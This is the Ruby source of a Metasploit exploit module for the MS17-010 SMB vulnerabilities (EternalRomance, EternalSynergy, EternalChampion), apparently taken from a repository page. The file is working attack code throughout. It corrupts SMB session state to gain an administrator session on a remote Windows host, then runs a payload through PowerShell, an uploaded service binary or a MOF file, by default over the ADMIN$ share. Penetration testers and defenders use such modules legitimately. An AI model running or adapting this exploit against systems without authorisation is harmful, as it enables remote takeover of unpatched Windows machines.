Path: blob/master/modules/exploits/windows/smb/ms17_010_psexec.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# Windows XP systems that are not part of a domain default to treating all6# network logons as if they were Guest. This prevents SMB relay attacks from7# gaining administrative access to these systems. This setting can be found8# under:9#10# Local Security Settings >11# Local Policies >12# Security Options >13# Network Access: Sharing and security model for local accounts1415class MetasploitModule < Msf::Exploit::Remote16Rank = NormalRanking1718include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_01019include Msf::Exploit::Remote::SMB::Client::Psexec20include Msf::Exploit::Remote::CheckModule21include Msf::Exploit::Powershell22include Msf::Exploit::EXE23include Msf::Exploit::WbemExec24include Msf::Auxiliary::Report2526def initialize(info = {})27super(28update_info(29info,30'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution',31'Description' => %q{32This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where33primitive. This will then be used to overwrite the connection session information with as an34Administrator session. From there, the normal psexec payload code execution is done.3536Exploits a type confusion between Transaction and WriteAndX requests and a race condition in37Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy38exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a39named pipe.40},41'Author' => [42'sleepya', # zzz_exploit idea and offsets43'zerosum0x0',44'Shadow Brokers',45'Equation Group'46],47'License' => MSF_LICENSE,48'DefaultOptions' => {49'EXITFUNC' => 'thread',50'CheckModule' => 'auxiliary/scanner/smb/smb_ms17_010',51'WfsDelay' => 1052},53'References' => [54[ 'MSB', 'MS17-010' ],55[ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests56[ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests57[ 'CVE', '2017-0147'], # for EternalRomance reference58[ 'URL', 'https://github.com/worawit/MS17-010' ],59[ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],60[ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],61[ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ],62[ 'ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER ],63[ 'ATT&CK', Mitre::Attack::Technique::T1059_001_POWERSHELL ],64[ 'ATT&CK', Mitre::Attack::Technique::T1077_WINDOWS_ADMIN_SHARES ],65[ 'ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION ]66],67'Payload' => {68'Space' => 3072,69'DisableNops' => true70},71'Platform' => 'win',72'Arch' => [ARCH_X86, ARCH_X64],73'Targets' => [74[ 'Automatic', {} ],75[ 'PowerShell', {} ],76[ 'Native upload', {} ],77[ 'MOF upload', {} ]78],79'DefaultTarget' => 0,80'DisclosureDate' => '2017-03-14',81'Notes' => {82'AKA' => [83'ETERNALSYNERGY',84'ETERNALROMANCE',85'ETERNALCHAMPION',86'ETERNALBLUE' # does not use any CVE from Blue, but Search should show this, it is preferred87],88'Stability' => UNKNOWN_STABILITY,89'Reliability' => UNKNOWN_RELIABILITY,90'SideEffects' => UNKNOWN_SIDE_EFFECTS91}92)93)9495register_options(96[97OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])98]99)100101register_advanced_options(102[103OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),104OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary", nil]),105OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),106OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub", nil])107]108)109110deregister_options('SMB::ProtocolVersion')111end112113def validate_service_stub_encoder!114service_encoder = datastore['SERVICE_STUB_ENCODER']115return if service_encoder.nil? || service_encoder.empty?116117encoder = framework.encoders[service_encoder]118if encoder.nil?119raise Msf::OptionValidateError.new(120{121'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"122}123)124end125end126127def exploit128validate_service_stub_encoder!129130begin131if datastore['SMBUser'].present?132print_status("Authenticating to #{datastore['RHOST']} as user '#{splitname(datastore['SMBUser'])}'...")133end134eternal_pwn(datastore['RHOST'])135smb_pwn()136rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e137print_error("#{e.message}")138rescue ::Errno::ECONNRESET,139::Rex::Proto::SMB::Exceptions::LoginError,140::Rex::HostUnreachable,141::Rex::ConnectionTimeout,142::Rex::ConnectionRefused => e143print_error("#{e.class}: #{e.message}")144rescue => error145print_error(error.class.to_s)146print_error(error.message)147print_error(error.backtrace.join("\n"))148ensure149eternal_cleanup() # restore session150end151end152153def smb_pwn154service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"155service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''156157case target.name158when 'Automatic'159if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH'])160print_status('Selecting PowerShell target')161execute_powershell_payload162else163print_status('Selecting native target')164native_upload(datastore['SHARE'], service_filename, service_encoder)165end166when 'PowerShell'167execute_powershell_payload168when 'Native upload'169native_upload(datastore['SHARE'], service_filename, service_encoder)170when 'MOF upload'171mof_upload(datastore['SHARE'])172end173174handler175end176end177178179180